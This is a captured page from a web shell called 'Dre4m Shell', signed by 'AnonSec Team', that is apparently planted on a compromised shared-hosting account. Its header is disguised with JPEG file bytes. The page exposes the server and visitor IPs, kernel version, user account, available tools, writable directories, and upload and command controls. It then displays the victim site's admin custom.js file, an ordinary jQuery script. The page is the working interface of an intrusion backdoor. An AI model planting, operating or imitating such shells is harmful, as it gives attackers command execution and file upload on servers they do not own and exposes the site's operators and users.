ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/live-snaps.fr/cp-admin/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/live-snaps.fr/cp-admin/assets/js/custom.js
jQuery.noConflict()(function($){
	$(function() {
		$('[rel=tooltip]').tooltip();
	});
	
	$(document).ready(function () {
      	$('#autoresponder').change(function () {
			var val_type = $(this).val();
			if(val_type == 'subscriber_insert'){
				$('#group_block').show();	
				$('#timebased_block').hide();
				$('#block_time').hide();
				
			}
			if(val_type == 'autoresponder_timebased'){
				$('#group_block').show();
				$('#timebased_block').show();
				$('#block_time').show();
			}
		});
		
	});   
	
	$(function() {
		$('[rel=popover]').popover();
	});
	
	$(function () {
		$('#myTab a').click(function (e) {
		  e.preventDefault();
		  $(this).tab('show');
		})
	})
	$('#form').click(function() {
		$('#form-content').slideToggle('fast');
		return false;
	});	
	$(document).ready(function () {
      	$('input[name=title]').keyup(function() {
		  $('#previewHeader').text($(this).val());
		});
		$("#btn_prev").click(function(){
             tinyMCE.triggerSave();
			 $('#modalbody').html($("#message").val());
        });    
	});  
	
	        $(function($) {

                $(".knob").knob({
                    change : function (value) {
                        //console.log("change : " + value);
                    },
                    release : function (value) {
                        //console.log(this.$.attr('value'));
                        console.log("release : " + value);
                    },
                    cancel : function () {
                        console.log("cancel : ", this);
                    },
                    draw : function () {

                        // "tron" case
                        if(this.$.data('skin') == 'tron') {

                            var a = this.angle(this.cv)  // Angle
                                , sa = this.startAngle          // Previous start angle
                                , sat = this.startAngle         // Start angle
                                , ea                            // Previous end angle
                                , eat = sat + a                 // End angle
                                , r = 1;

                            this.g.lineWidth = this.lineWidth;

                            this.o.cursor
                                && (sat = eat - 0.3)
                                && (eat = eat + 0.3);

                            if (this.o.displayPrevious) {
                                ea = this.startAngle + this.angle(this.v);
                                this.o.cursor
                                    && (sa = ea - 0.3)
                                    && (ea = ea + 0.3);
                                this.g.beginPath();
                                this.g.strokeStyle = this.pColor;
                                this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, sa, ea, false);
                                this.g.stroke();
                            }

                            this.g.beginPath();
                            this.g.strokeStyle = r ? this.o.fgColor : this.fgColor ;
                            this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, sat, eat, false);
                            this.g.stroke();

                            this.g.lineWidth = 2;
                            this.g.beginPath();
                            this.g.strokeStyle = this.o.fgColor;
                            this.g.arc( this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false);
                            this.g.stroke();

                            return false;
                        }
                    }
                });
            });	
	$(document).ready(function() {
        $("#test_smtp").click(function() {
           var host = $('#smtp_host').val();
           var port = $('#smtp_port').val();
		   var user = $('#smtp_user').val();	
		   var pass = $('#smtp_pass').val();	   
		   $.ajax({
            url: 'settings/smtp_check.php',
            data : '&host='+host+'&port='+port+'&user='+user+'&pass='+pass,
            type : "POST",
            success: function (data, textStatus) {
				$('#smtp_output').addClass("alert alert-info");
				$('#smtp_output').html(data);
            }
		   });
        });
		
		$("#testMail").click(function() {
			var subj = $('#title').val(); 
			tinyMCE.triggerSave();
			var message = $("#message").val(); 
			var datta = "&subj="+subj+"&message="+message;
			$.ajax({
            url: 'tasks/test_send.php',
            data : datta,
            type: 'POST',
            success: function (data, textStatus) {
				alert("The test message is sent, check email");
            }
		   });
		});
    });		
});

Anon7 - 2022
AnonSec Team